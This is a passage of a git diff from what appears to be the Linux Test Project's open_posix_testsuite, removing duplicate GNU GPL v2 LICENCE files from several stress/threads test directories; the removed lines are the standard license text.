-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program is interactive, make it output a short notice like this
-when it starts in an interactive mode:
-
-    Gnomovision version 69, Copyright (C) year  name of author
-    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-    This is free software, and you are welcome to redistribute it
-    under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License.  Of course, the commands you use may
-be called something other than `show w' and `show c'; they could even be
-mouse-clicks or menu items--whatever suits your program.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the program, if
-necessary.  Here is a sample; alter the names:
-
-  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-  `Gnomovision' (which makes passes at compilers) written by James Hacker.
-
-  <signature of Ty Coon>, 1 April 1989
-  Ty Coon, President of Vice
-
-This General Public License does not permit incorporating your program into
-proprietary programs.  If your program is a subroutine library, you may
-consider it more useful to permit linking proprietary applications with the
-library.  If this is what you want to do, use the GNU Library General
-Public License instead of this License.
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_self/LICENCE b/testcases/open_posix_testsuite/stress/threads/pthread_self/LICENCE
deleted file mode 100644
index d60c31a..0000000
--- a/testcases/open_posix_testsuite/stress/threads/pthread_self/LICENCE
+++ /dev/null
@@ -1,340 +0,0 @@
-		    GNU GENERAL PUBLIC LICENSE
-		       Version 2, June 1991
-
- Copyright (C) 1989, 1991 Free Software Foundation, Inc.
-     59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-			    Preamble
-
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change free
-software--to make sure the software is free for all its users.  This
-General Public License applies to most of the Free Software
-Foundation's software and to any other program whose authors commit to
-using it.  (Some other Free Software Foundation software is covered by
-the GNU Library General Public License instead.)  You can apply it to
-your programs, too.
-
-  When we speak of free software, we are referring to freedom, not
-price.  Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-this service if you wish), that you receive source code or can get it
-if you want it, that you can change the software or use pieces of it
-in new free programs; and that you know you can do these things.
-
-  To protect your rights, we need to make restrictions that forbid
-anyone to deny you these rights or to ask you to surrender the rights.
-These restrictions translate to certain responsibilities for you if you
-distribute copies of the software, or if you modify it.
-
-  For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must give the recipients all the rights that
-you have.  You must make sure that they, too, receive or can get the
-source code.  And you must show them these terms so they know their
-rights.
-
-  We protect your rights with two steps: (1) copyright the software, and
-(2) offer you this license which gives you legal permission to copy,
-distribute and/or modify the software.
-
-  Also, for each author's protection and ours, we want to make certain
-that everyone understands that there is no warranty for this free
-software.  If the software is modified by someone else and passed on, we
-want its recipients to know that what they have is not the original, so
-that any problems introduced by others will not reflect on the original
-authors' reputations.
-
-  Finally, any free program is threatened constantly by software
-patents.  We wish to avoid the danger that redistributors of a free
-program will individually obtain patent licenses, in effect making the
-program proprietary.  To prevent this, we have made it clear that any
-patent must be licensed for everyone's free use or not licensed at all.
-
-  The precise terms and conditions for copying, distribution and
-modification follow.
-
-		    GNU GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-  0. This License applies to any program or other work which contains
-a notice placed by the copyright holder saying it may be distributed
-under the terms of this General Public License.  The "Program", below,
-refers to any such program or work, and a "work based on the Program"
-means either the Program or any derivative work under copyright law:
-that is to say, a work containing the Program or a portion of it,
-either verbatim or with modifications and/or translated into another
-language.  (Hereinafter, translation is included without limitation in
-the term "modification".)  Each licensee is addressed as "you".
-
-Activities other than copying, distribution and modification are not
-covered by this License; they are outside its scope.  The act of
-running the Program is not restricted, and the output from the Program
-is covered only if its contents constitute a work based on the
-Program (independent of having been made by running the Program).
-Whether that is true depends on what the Program does.
-
-  1. You may copy and distribute verbatim copies of the Program's
-source code as you receive it, in any medium, provided that you
-conspicuously and appropriately publish on each copy an appropriate
-copyright notice and disclaimer of warranty; keep intact all the
-notices that refer to this License and to the absence of any warranty;
-and give any other recipients of the Program a copy of this License
-along with the Program.
-
-You may charge a fee for the physical act of transferring a copy, and
-you may at your option offer warranty protection in exchange for a fee.
-
-  2. You may modify your copy or copies of the Program or any portion
-of it, thus forming a work based on the Program, and copy and
-distribute such modifications or work under the terms of Section 1
-above, provided that you also meet all of these conditions:
-
-    a) You must cause the modified files to carry prominent notices
-    stating that you changed the files and the date of any change.
-
-    b) You must cause any work that you distribute or publish, that in
-    whole or in part contains or is derived from the Program or any
-    part thereof, to be licensed as a whole at no charge to all third
-    parties under the terms of this License.
-
-    c) If the modified program normally reads commands interactively
-    when run, you must cause it, when started running for such
-    interactive use in the most ordinary way, to print or display an
-    announcement including an appropriate copyright notice and a
-    notice that there is no warranty (or else, saying that you provide
-    a warranty) and that users may redistribute the program under
-    these conditions, and telling the user how to view a copy of this
-    License.  (Exception: if the Program itself is interactive but
-    does not normally print such an announcement, your work based on
-    the Program is not required to print an announcement.)
-
-These requirements apply to the modified work as a whole.  If
-identifiable sections of that work are not derived from the Program,
-and can be reasonably considered independent and separate works in
-themselves, then this License, and its terms, do not apply to those
-sections when you distribute them as separate works.  But when you
-distribute the same sections as part of a whole which is a work based
-on the Program, the distribution of the whole must be on the terms of
-this License, whose permissions for other licensees extend to the
-entire whole, and thus to each and every part regardless of who wrote it.
-
-Thus, it is not the intent of this section to claim rights or contest
-your rights to work written entirely by you; rather, the intent is to
-exercise the right to control the distribution of derivative or
-collective works based on the Program.
-
-In addition, mere aggregation of another work not based on the Program
-with the Program (or with a work based on the Program) on a volume of
-a storage or distribution medium does not bring the other work under
-the scope of this License.
-
-  3. You may copy and distribute the Program (or a work based on it,
-under Section 2) in object code or executable form under the terms of
-Sections 1 and 2 above provided that you also do one of the following:
-
-    a) Accompany it with the complete corresponding machine-readable
-    source code, which must be distributed under the terms of Sections
-    1 and 2 above on a medium customarily used for software interchange; or,
-
-    b) Accompany it with a written offer, valid for at least three
-    years, to give any third party, for a charge no more than your
-    cost of physically performing source distribution, a complete
-    machine-readable copy of the corresponding source code, to be
-    distributed under the terms of Sections 1 and 2 above on a medium
-    customarily used for software interchange; or,
-
-    c) Accompany it with the information you received as to the offer
-    to distribute corresponding source code.  (This alternative is
-    allowed only for noncommercial distribution and only if you
-    received the program in object code or executable form with such
-    an offer, in accord with Subsection b above.)
-
-The source code for a work means the preferred form of the work for
-making modifications to it.  For an executable work, complete source
-code means all the source code for all modules it contains, plus any
-associated interface definition files, plus the scripts used to
-control compilation and installation of the executable.  However, as a
-special exception, the source code distributed need not include
-anything that is normally distributed (in either source or binary
-form) with the major components (compiler, kernel, and so on) of the
-operating system on which the executable runs, unless that component
-itself accompanies the executable.
-
-If distribution of executable or object code is made by offering
-access to copy from a designated place, then offering equivalent
-access to copy the source code from the same place counts as
-distribution of the source code, even though third parties are not
-compelled to copy the source along with the object code.
-
-  4. You may not copy, modify, sublicense, or distribute the Program
-except as expressly provided under this License.  Any attempt
-otherwise to copy, modify, sublicense or distribute the Program is
-void, and will automatically terminate your rights under this License.
-However, parties who have received copies, or rights, from you under
-this License will not have their licenses terminated so long as such
-parties remain in full compliance.
-
-  5. You are not required to accept this License, since you have not
-signed it.  However, nothing else grants you permission to modify or
-distribute the Program or its derivative works.  These actions are
-prohibited by law if you do not accept this License.  Therefore, by
-modifying or distributing the Program (or any work based on the
-Program), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Program or works based on it.
-
-  6. Each time you redistribute the Program (or any work based on the
-Program), the recipient automatically receives a license from the
-original licensor to copy, distribute or modify the Program subject to
-these terms and conditions.  You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties to
-this License.
-
-  7. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues),
-conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot
-distribute so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you
-may not distribute the Program at all.  For example, if a patent
-license would not permit royalty-free redistribution of the Program by
-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Program.
-
-If any portion of this section is held invalid or unenforceable under
-any particular circumstance, the balance of the section is intended to
-apply and the section as a whole is intended to apply in other
-circumstances.
-
-It is not the purpose of this section to induce you to infringe any
-patents or other property right claims or to contest validity of any
-such claims; this section has the sole purpose of protecting the
-integrity of the free software distribution system, which is
-implemented by public license practices.  Many people have made
-generous contributions to the wide range of software distributed
-through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing
-to distribute software through any other system and a licensee cannot
-impose that choice.
-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
-  8. If the distribution and/or use of the Program is restricted in
-certain countries either by patents or by copyrighted interfaces, the
-original copyright holder who places the Program under this License
-may add an explicit geographical distribution limitation excluding
-those countries, so that distribution is permitted only in or among
-countries not thus excluded.  In such case, this License incorporates
-the limitation as if written in the body of this License.
-
-  9. The Free Software Foundation may publish revised and/or new versions
-of the General Public License from time to time.  Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
-Each version is given a distinguishing version number.  If the Program
-specifies a version number of this License which applies to it and "any
-later version", you have the option of following the terms and conditions
-either of that version or of any later version published by the Free
-Software Foundation.  If the Program does not specify a version number of
-this License, you may choose any version ever published by the Free Software
-Foundation.
-
-  10. If you wish to incorporate parts of the Program into other free
-programs whose distribution conditions are different, write to the author
-to ask for permission.  For software which is copyrighted by the Free
-Software Foundation, write to the Free Software Foundation; we sometimes
-make exceptions for this.  Our decision will be guided by the two goals
-of preserving the free status of all derivatives of our free software and
-of promoting the sharing and reuse of software generally.
-
-			    NO WARRANTY
-
-  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
-OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
-TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
-PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-REPAIR OR CORRECTION.
-
-  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES.
-
-		     END OF TERMS AND CONDITIONS
-
-	    How to Apply These Terms to Your New Programs
-
-  If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
-  To do so, attach the following notices to the program.  It is safest
-to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the program's name and a brief idea of what it does.>
-    Copyright (C) <year>  <name of author>
-
-    This program is free software; you can redistribute it and/or modify
-    it under the terms of the GNU General Public License as published by
-    the Free Software Foundation; either version 2 of the License, or
-    (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program is interactive, make it output a short notice like this
-when it starts in an interactive mode:
-
-    Gnomovision version 69, Copyright (C) year  name of author
-    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-    This is free software, and you are welcome to redistribute it
-    under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License.  Of course, the commands you use may
-be called something other than `show w' and `show c'; they could even be
-mouse-clicks or menu items--whatever suits your program.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the program, if
-necessary.  Here is a sample; alter the names:
-
-  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-  `Gnomovision' (which makes passes at compilers) written by James Hacker.
-
-  <signature of Ty Coon>, 1 April 1989
-  Ty Coon, President of Vice
-
-This General Public License does not permit incorporating your program into
-proprietary programs.  If your program is a subroutine library, you may
-consider it more useful to permit linking proprietary applications with the
-library.  If this is what you want to do, use the GNU Library General
-Public License instead of this License.
diff --git a/testcases/open_posix_testsuite/stress/threads/sem_getvalue/LICENCE b/testcases/open_posix_testsuite/stress/threads/sem_getvalue/LICENCE
deleted file mode 100644
index d60c31a..0000000
--- a/testcases/open_posix_testsuite/stress/threads/sem_getvalue/LICENCE
+++ /dev/null
@@ -1,340 +0,0 @@
-		    GNU GENERAL PUBLIC LICENSE
-		       Version 2, June 1991
-
- Copyright (C) 1989, 1991 Free Software Foundation, Inc.
-     59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-			    Preamble
-
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change free
-software--to make sure the software is free for all its users.  This
-General Public License applies to most of the Free Software
-Foundation's software and to any other program whose authors commit to
-using it.  (Some other Free Software Foundation software is covered by
-the GNU Library General Public License instead.)  You can apply it to
-your programs, too.
-
-  When we speak of free software, we are referring to freedom, not
-price.  Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-this service if you wish), that you receive source code or can get it
-if you want it, that you can change the software or use pieces of it
-in new free programs; and that you know you can do these things.
-
-  To protect your rights, we need to make restrictions that forbid
-anyone to deny you these rights or to ask you to surrender the rights.
-These restrictions translate to certain responsibilities for you if you
-distribute copies of the software, or if you modify it.
-
-  For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must give the recipients all the rights that
-you have.  You must make sure that they, too, receive or can get the
-source code.  And you must show them these terms so they know their
-rights.
-
-  We protect your rights with two steps: (1) copyright the software, and
-(2) offer you this license which gives you legal permission to copy,
-distribute and/or modify the software.
-
-  Also, for each author's protection and ours, we want to make certain
-that everyone understands that there is no warranty for this free
-software.  If the software is modified by someone else and passed on, we
-want its recipients to know that what they have is not the original, so
-that any problems introduced by others will not reflect on the original
-authors' reputations.
-
-  Finally, any free program is threatened constantly by software
-patents.  We wish to avoid the danger that redistributors of a free
-program will individually obtain patent licenses, in effect making the
-program proprietary.  To prevent this, we have made it clear that any
-patent must be licensed for everyone's free use or not licensed at all.
-
-  The precise terms and conditions for copying, distribution and
-modification follow.
-
-		    GNU GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-  0. This License applies to any program or other work which contains
-a notice placed by the copyright holder saying it may be distributed
-under the terms of this General Public License.  The "Program", below,
-refers to any such program or work, and a "work based on the Program"
-means either the Program or any derivative work under copyright law:
-that is to say, a work containing the Program or a portion of it,
-either verbatim or with modifications and/or translated into another
-language.  (Hereinafter, translation is included without limitation in
-the term "modification".)  Each licensee is addressed as "you".
-
-Activities other than copying, distribution and modification are not
-covered by this License; they are outside its scope.  The act of
-running the Program is not restricted, and the output from the Program
-is covered only if its contents constitute a work based on the
-Program (independent of having been made by running the Program).
-Whether that is true depends on what the Program does.
-
-  1. You may copy and distribute verbatim copies of the Program's
-source code as you receive it, in any medium, provided that you
-conspicuously and appropriately publish on each copy an appropriate
-copyright notice and disclaimer of warranty; keep intact all the
-notices that refer to this License and to the absence of any warranty;
-and give any other recipients of the Program a copy of this License
-along with the Program.
-
-You may charge a fee for the physical act of transferring a copy, and
-you may at your option offer warranty protection in exchange for a fee.
-
-  2. You may modify your copy or copies of the Program or any portion
-of it, thus forming a work based on the Program, and copy and
-distribute such modifications or work under the terms of Section 1
-above, provided that you also meet all of these conditions:
-
-    a) You must cause the modified files to carry prominent notices
-    stating that you changed the files and the date of any change.
-
-    b) You must cause any work that you distribute or publish, that in
-    whole or in part contains or is derived from the Program or any
-    part thereof, to be licensed as a whole at no charge to all third
-    parties under the terms of this License.
-
-    c) If the modified program normally reads commands interactively
-    when run, you must cause it, when started running for such
-    interactive use in the most ordinary way, to print or display an
-    announcement including an appropriate copyright notice and a
-    notice that there is no warranty (or else, saying that you provide
-    a warranty) and that users may redistribute the program under
-    these conditions, and telling the user how to view a copy of this
-    License.  (Exception: if the Program itself is interactive but
-    does not normally print such an announcement, your work based on
-    the Program is not required to print an announcement.)
-
-These requirements apply to the modified work as a whole.  If
-identifiable sections of that work are not derived from the Program,
-and can be reasonably considered independent and separate works in
-themselves, then this License, and its terms, do not apply to those
-sections when you distribute them as separate works.  But when you
-distribute the same sections as part of a whole which is a work based
-on the Program, the distribution of the whole must be on the terms of
-this License, whose permissions for other licensees extend to the
-entire whole, and thus to each and every part regardless of who wrote it.
-
-Thus, it is not the intent of this section to claim rights or contest
-your rights to work written entirely by you; rather, the intent is to
-exercise the right to control the distribution of derivative or
-collective works based on the Program.
-
-In addition, mere aggregation of another work not based on the Program
-with the Program (or with a work based on the Program) on a volume of
-a storage or distribution medium does not bring the other work under
-the scope of this License.
-
-  3. You may copy and distribute the Program (or a work based on it,
-under Section 2) in object code or executable form under the terms of
-Sections 1 and 2 above provided that you also do one of the following:
-
-    a) Accompany it with the complete corresponding machine-readable
-    source code, which must be distributed under the terms of Sections
-    1 and 2 above on a medium customarily used for software interchange; or,
-
-    b) Accompany it with a written offer, valid for at least three
-    years, to give any third party, for a charge no more than your
-    cost of physically performing source distribution, a complete
-    machine-readable copy of the corresponding source code, to be
-    distributed under the terms of Sections 1 and 2 above on a medium
-    customarily used for software interchange; or,
-
-    c) Accompany it with the information you received as to the offer
-    to distribute corresponding source code.  (This alternative is
-    allowed only for noncommercial distribution and only if you
-    received the program in object code or executable form with such
-    an offer, in accord with Subsection b above.)
-
-The source code for a work means the preferred form of the work for
-making modifications to it.  For an executable work, complete source
-code means all the source code for all modules it contains, plus any
-associated interface definition files, plus the scripts used to
-control compilation and installation of the executable.  However, as a
-special exception, the source code distributed need not include
-anything that is normally distributed (in either source or binary
-form) with the major components (compiler, kernel, and so on) of the
-operating system on which the executable runs, unless that component
-itself accompanies the executable.
-
-If distribution of executable or object code is made by offering
-access to copy from a designated place, then offering equivalent
-access to copy the source code from the same place counts as
-distribution of the source code, even though third parties are not
-compelled to copy the source along with the object code.
-
-  4. You may not copy, modify, sublicense, or distribute the Program
-except as expressly provided under this License.  Any attempt
-otherwise to copy, modify, sublicense or distribute the Program is
-void, and will automatically terminate your rights under this License.
-However, parties who have received copies, or rights, from you under
-this License will not have their licenses terminated so long as such
-parties remain in full compliance.
-
-  5. You are not required to accept this License, since you have not
-signed it.  However, nothing else grants you permission to modify or
-distribute the Program or its derivative works.  These actions are
-prohibited by law if you do not accept this License.  Therefore, by
-modifying or distributing the Program (or any work based on the
-Program), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Program or works based on it.
-
-  6. Each time you redistribute the Program (or any work based on the
-Program), the recipient automatically receives a license from the
-original licensor to copy, distribute or modify the Program subject to
-these terms and conditions.  You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties to
-this License.
-
-  7. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues),
-conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot
-distribute so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you
-may not distribute the Program at all.  For example, if a patent
-license would not permit royalty-free redistribution of the Program by
-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Program.
-
-If any portion of this section is held invalid or unenforceable under
-any particular circumstance, the balance of the section is intended to
-apply and the section as a whole is intended to apply in other
-circumstances.
-
-It is not the purpose of this section to induce you to infringe any
-patents or other property right claims or to contest validity of any
-such claims; this section has the sole purpose of protecting the
-integrity of the free software distribution system, which is
-implemented by public license practices.  Many people have made
-generous contributions to the wide range of software distributed
-through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing
-to distribute software through any other system and a licensee cannot
-impose that choice.
-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
-  8. If the distribution and/or use of the Program is restricted in
-certain countries either by patents or by copyrighted interfaces, the
-original copyright holder who places the Program under this License
-may add an explicit geographical distribution limitation excluding
-those countries, so that distribution is permitted only in or among
-countries not thus excluded.  In such case, this License incorporates
-the limitation as if written in the body of this License.
-
-  9. The Free Software Foundation may publish revised and/or new versions
-of the General Public License from time to time.  Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
-Each version is given a distinguishing version number.  If the Program
-specifies a version number of this License which applies to it and "any
-later version", you have the option of following the terms and conditions
-either of that version or of any later version published by the Free
-Software Foundation.  If the Program does not specify a version number of
-this License, you may choose any version ever published by the Free Software
-Foundation.
-
-  10. If you wish to incorporate parts of the Program into other free
-programs whose distribution conditions are different, write to the author
-to ask for permission.  For software which is copyrighted by the Free
-Software Foundation, write to the Free Software Foundation; we sometimes
-make exceptions for this.  Our decision will be guided by the two goals
-of preserving the free status of all derivatives of our free software and
-of promoting the sharing and reuse of software generally.
-
-			    NO WARRANTY
-
-  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
-OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
-TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
-PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-REPAIR OR CORRECTION.
-
-  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES.
-
-		     END OF TERMS AND CONDITIONS
-
-	    How to Apply These Terms to Your New Programs
-
-  If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
-  To do so, attach the following notices to the program.  It is safest
-to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the program's name and a brief idea of what it does.>
-    Copyright (C) <year>  <name of author>
-
-    This program is free software; you can redistribute it and/or modify
-    it under the terms of the GNU General Public License as published by
-    the Free Software Foundation; either version 2 of the License, or
-    (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program is interactive, make it output a short notice like this
-when it starts in an interactive mode:
-
-    Gnomovision version 69, Copyright (C) year  name of author
-    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-    This is free software, and you are welcome to redistribute it
-    under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License.  Of course, the commands you use may
-be called something other than `show w' and `show c'; they could even be
-mouse-clicks or menu items--whatever suits your program.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the program, if
-necessary.  Here is a sample; alter the names:
-
-  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-  `Gnomovision' (which makes passes at compilers) written by James Hacker.
-
-  <signature of Ty Coon>, 1 April 1989
-  Ty Coon, President of Vice
-
-This General Public License does not permit incorporating your program into
-proprietary programs.  If your program is a subroutine library, you may
-consider it more useful to permit linking proprietary applications with the
-library.  If this is what you want to do, use the GNU Library General
-Public License instead of this License.
diff --git a/testcases/open_posix_testsuite/stress/threads/sem_init/LICENCE b/testcases/open_posix_testsuite/stress/threads/sem_init/LICENCE
deleted file mode 100644
index d60c31a..0000000
--- a/testcases/open_posix_testsuite/stress/threads/sem_init/LICENCE
+++ /dev/null
@@ -1,340 +0,0 @@
-		    GNU GENERAL PUBLIC LICENSE
-		       Version 2, June 1991
-
- Copyright (C) 1989, 1991 Free Software Foundation, Inc.
-     59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-			    Preamble
-
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change free
-software--to make sure the software is free for all its users.  This
-General Public License applies to most of the Free Software
-Foundation's software and to any other program whose authors commit to
-using it.  (Some other Free Software Foundation software is covered by
-the GNU Library General Public License instead.)  You can apply it to
-your programs, too.
-
-  When we speak of free software, we are referring to freedom, not
-price.  Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-this service if you wish), that you receive source code or can get it
-if you want it, that you can change the software or use pieces of it
-in new free programs; and that you know you can do these things.
-
-  To protect your rights, we need to make restrictions that forbid
-anyone to deny you these rights or to ask you to surrender the rights.
-These restrictions translate to certain responsibilities for you if you
-distribute copies of the software, or if you modify it.
-
-  For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must give the recipients all the rights that
-you have.  You must make sure that they, too, receive or can get the
-source code.  And you must show them these terms so they know their
-rights.
-
-  We protect your rights with two steps: (1) copyright the software, and
-(2) offer you this license which gives you legal permission to copy,
-distribute and/or modify the software.
-
-  Also, for each author's protection and ours, we want to make certain
-that everyone understands that there is no warranty for this free
-software.  If the software is modified by someone else and passed on, we
-want its recipients to know that what they have is not the original, so
-that any problems introduced by others will not reflect on the original
-authors' reputations.
-
-  Finally, any free program is threatened constantly by software
-patents.  We wish to avoid the danger that redistributors of a free
-program will individually obtain patent licenses, in effect making the
-program proprietary.  To prevent this, we have made it clear that any
-patent must be licensed for everyone's free use or not licensed at all.
-
-  The precise terms and conditions for copying, distribution and
-modification follow.
-
-		    GNU GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-  0. This License applies to any program or other work which contains
-a notice placed by the copyright holder saying it may be distributed
-under the terms of this General Public License.  The "Program", below,
-refers to any such program or work, and a "work based on the Program"
-means either the Program or any derivative work under copyright law:
-that is to say, a work containing the Program or a portion of it,
-either verbatim or with modifications and/or translated into another
-language.  (Hereinafter, translation is included without limitation in
-the term "modification".)  Each licensee is addressed as "you".
-
-Activities other than copying, distribution and modification are not
-covered by this License; they are outside its scope.  The act of
-running the Program is not restricted, and the output from the Program
-is covered only if its contents constitute a work based on the
-Program (independent of having been made by running the Program).
-Whether that is true depends on what the Program does.
-
-  1. You may copy and distribute verbatim copies of the Program's
-source code as you receive it, in any medium, provided that you
-conspicuously and appropriately publish on each copy an appropriate
-copyright notice and disclaimer of warranty; keep intact all the
